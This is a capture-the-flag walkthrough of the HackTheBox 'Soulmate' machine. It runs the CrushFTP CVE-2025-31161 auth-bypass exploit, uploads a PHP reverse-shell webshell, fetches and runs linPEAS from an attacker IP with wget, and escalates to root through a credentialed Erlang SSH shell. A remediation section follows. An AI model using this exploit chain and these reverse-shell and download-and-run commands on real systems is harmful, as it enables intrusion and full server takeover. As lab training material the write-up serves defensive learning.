Soulmate — Walkthrough

Author: walkerffx **Target IP:** 10.10.11.86 (soulmate.htb / ftp.soulmate.htb) **Difficulty:** Intermediate **Date:** (see lab notes)

Executive summary (combined — non-technical + technical)

Non-technical (for managers / stakeholders)

Soulmate (10.10.11.86) exposes a public website and a file-management web UI (CrushFTP). A public vulnerability in CrushFTP allowed creation of an administrative user. Using that access the attacker altered an existing user account and uploaded a webshell to the public site, giving remote command execution as the web server user. Further inspection found plaintext credentials in a startup script for an Erlang-based service that listened only on localhost; those credentials let the attacker authenticate into a privileged Erlang-based SSH service that ran as root. That service allowed execution of system commands as root, resulting in a full system compromise.

Technical (practitioner summary)

1. Exploited CVE-2025-31161 in CrushFTP to create an admin user and access the admin UI.
2. Changed an existing user's password, uploaded a PHP webshell to `/webProd/`, and gained a `www-data` reverse shell.
3. Found hardcoded credentials in `/usr/local/lib/erlang_login/start.escript` and an Erlang SSH runner on localhost:2222 that provided an Erlang shell running as root. Used `os:cmd/1` to execute commands as root and read `/root/root.txt`.

This document below contains a full combined walkthrough with plain-language explanations and detailed commands so both non-technical and technical readers can understand the attack flow and reproduce the steps in a lab environment for defensive learning.

Scope & assumptions

- Target IP: `10.10.11.86` (added to `/etc/hosts` as `soulmate.htb` and `ftp.soulmate.htb`).
- All commands in this writeup are executed from the attacker host unless prefixed by a remote shell prompt.
- Actions performed in a permitted HackTheBox lab.
- The steps are for educational/defensive use only; adapt commands and paths to your environment.

Non-technical explanation (expanded)

- **What happened?** A file-management admin UI (CrushFTP) had a known vulnerability allowing an attacker to create an admin account without valid credentials. With admin access the attacker

changed user passwords and uploaded a webshell — a small file that runs commands sent over the web. That webshell allowed the attacker to run commands on the server as the web service user.

- **Why is this bad?** The attacker used server-level access to read files and inspect startup scripts. They found a script that contained a plaintext password for an account (`ben`) and a locally-running administrative SSH-like service implemented in Erlang. Because that service ran as root and accepted the found password, the attacker could run commands as root — complete system takeover.

- **Business impact:** Full system compromise allows data theft, service disruption, and persistence. Management UIs and file upload features must be treated as high-risk and hardened.

- **High-level fixes:** Patch CrushFTP, remove plaintext credentials from scripts, restrict management UIs by IP or VPN, enforce MFA, and monitor for suspicious uploads and privilege changes.

Tools used

- nmap, ffuf — discovery and virtual-host discovery
- web browser — to interact with CrushFTP UI
- public PoC for CVE-2025-31161 (CrushFTP auth bypass)
- netcat (`nc`) — reverse shell listener
- curl/wget, python3 -m http.server — file transfers and triggers
- linPEAS — local enumeration
- ssh — remote user access

Full technical walkthrough

1. Reconnaissance

Run an initial scan to discover services:

```
nmap -sC -sV 10.10.11.86
# 22/tcp open ssh (OpenSSH 8.9p1 Ubuntu)
# 80/tcp open http (nginx 1.18.0)
```

Discover virtual hosts and admin interfaces (host header fuzzing example):

```
ffuf -u http://10.10.11.86 -H "Host: FUZZ.soulmate.htb" -w /usr/share/
seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4
```

Add host entries for convenience:

```
echo "10.10.11.86 soulmate.htb ftp.soulmate.htb" | sudo tee -a /etc/hosts
```

Visiting `http://ftp.soulmate.htb` redirected to a CrushFTP web UI.

2. Identify CrushFTP & exploit CVE-2025-31161

Inspecting web assets revealed CrushFTP build `11.W.657` — vulnerable to CVE-2025-31161 (auth bypass). Use the public PoC to create an admin user `test:admin123`:

```
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161
cd CVE-2025-31161
python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --
target_user root --new_user test --password admin123
```

After exploit success, log into the CrushFTP admin UI as `test:admin123`.

3. Admin actions — account manipulation & repository access

From the admin UI: - Enumerate accounts (e.g., `ben`, `crushadmin`). - Reset `ben`'s password (example: change to `123456` or any attacker-generated password).

Login as `ben` and navigate the repository to the web production folder (e.g., `/webProd/`).

4. Upload & trigger a PHP webshell

Prepare Pentestmonkey's PHP reverse shell and upload it to `/webProd/shell.php` via the CrushFTP UI.

On the attacker machine, start a listener:

```
nc -lnvp 4444
```

Trigger the webshell by requesting it from the web server:

```
curl http://soulmate.htb/shell.php
```

You should receive a reverse connection from the webserver (www-data). Upgrade the shell to an interactive TTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Confirm you are `www-data`:

```
id
# uid=33(www-data) gid=33(www-data)
```

5. Local enumeration as www-data

Use linPEAS (or manual checks) to find interesting files, processes, and services.

Serve linPEAS from attacker and run it on target:

```
# attacker
python3 -m http.server 8000
# target (www-data)
cd /dev/shm
wget http://10.10.14.59:8000/linpeas.sh -O lin.sh
chmod +x lin.sh
./lin.sh
```

LinPEAS highlights: - A root-owned Erlang startup script: `/usr/local/lib/erlang_login/start.escript`. - Hardcoded credentials inside that script: `{user_passwords, [{"ben", "HouseH0ldings998"}]}`. - An Erlang-based SSH-like service listening on `localhost:2222`.

6. Obtain user `ben` and user flag

SSH to the box using the discovered credential for `ben`:

```
ssh ben@soulmate
# password: HouseH0ldings998
cat /home/ben/user.txt
# user flag
```

7. Privilege escalation — Erlang SSH runner

From `ben`, connect to the Erlang SSH service on localhost port 2222:

```
ssh ben@localhost -p 2222
# password: HouseH0ldings998
```

This presents an Erlang shell (Eshell) running as root. Use `os:cmd/1` to execute commands as root:

```
(ssh_runner@soulmate)1> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)
"
(ssh_runner@soulmate)2> os:cmd("cat /root/root.txt").
"<root-flag-contents>"
```

Retrieve the root flag.

Key artifacts & IOCs

- Target IP: `10.10.11.86`
- Virtual hosts: `soulmate.htb`, `ftp.soulmate.htb`
- Vulnerable product: CrushFTP build `11.W.657` (CVE-2025-31161)
- Exploit-created user: `test:admin123`
- Discovered credential: `ben:HouseH0ldings998` (in start.escript)
- Webshell: `shell.php` uploaded under `/webProd/` and accessed at `http://soulmate.htb/shell.php`
- Erlang SSH service: listening on `localhost:2222` and providing root-level Erlang shell

---

Remediation & recommendations

Short-term (urgent) - Patch CrushFTP to a non-vulnerable build or disable the web interface immediately. - Rotate all exposed or created credentials (especially admin/FTP/system accounts). - Remove unauthorized users/files created during the assessment (e.g., `test`, `shell.php`). - Restrict access to management interfaces using IP allow-lists, VPNs, and MFA.

Medium-term - Audit for embedded plaintext credentials and rotate them. Use:

```
grep -R --line-number "password" /usr/local /etc /opt || true
```

- Remove hardcoded credentials from startup scripts; adopt secret management tooling.
- Limit service privileges to reduce blast radius.
- Isolate management interfaces and internal-only services (like Erlang SSH) to internal networks or jump hosts.

Long-term - Regular vulnerability scanning and patching (DAST/SAST where applicable). - Principle of least privilege for services and hosts; periodic audits for unexpected local listeners. - Monitoring and alerting for suspicious file uploads and unusual Erlang/SSH activity.

Appendix — helpful commands

```
# Recon
nmap -sC -sV 10.10.11.86
ffuf -u http://10.10.11.86 -H "Host: FUZZ.soulmate.htb" -w /usr/share/
seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4

echo "10.10.11.86 soulmate.htb ftp.soulmate.htb" | sudo tee -a /etc/hosts

# Exploit
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161
```

```
python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --
target_user root --new_user test --password admin123

# Webshell
# attacker
nc -lnvp 4444
# trigger
curl http://soulmate.htb/shell.php

# Serve linpeas
python3 -m http.server 8000
# target
cd /dev/shm
wget http://10.10.14.59:8000/linpeas.sh -O lin.sh
chmod +x lin.sh
./lin.sh

# SSH as ben
ssh ben@soulmate

# Erlang SSH port
ssh ben@localhost -p 2222
# in Erlang shell
os:cmd("cat /root/root.txt").
```

Conclusion

This combined writeup shows how an exposed management web UI with a known authentication bypass can lead to account manipulation, file upload and remote code execution as the web user, and ultimately root via plaintext credentials and a privileged internal service. Remediation focuses on patching, removing plaintext credentials from scripts, restricting management interfaces, and improving logging and credential management.

— walkerffx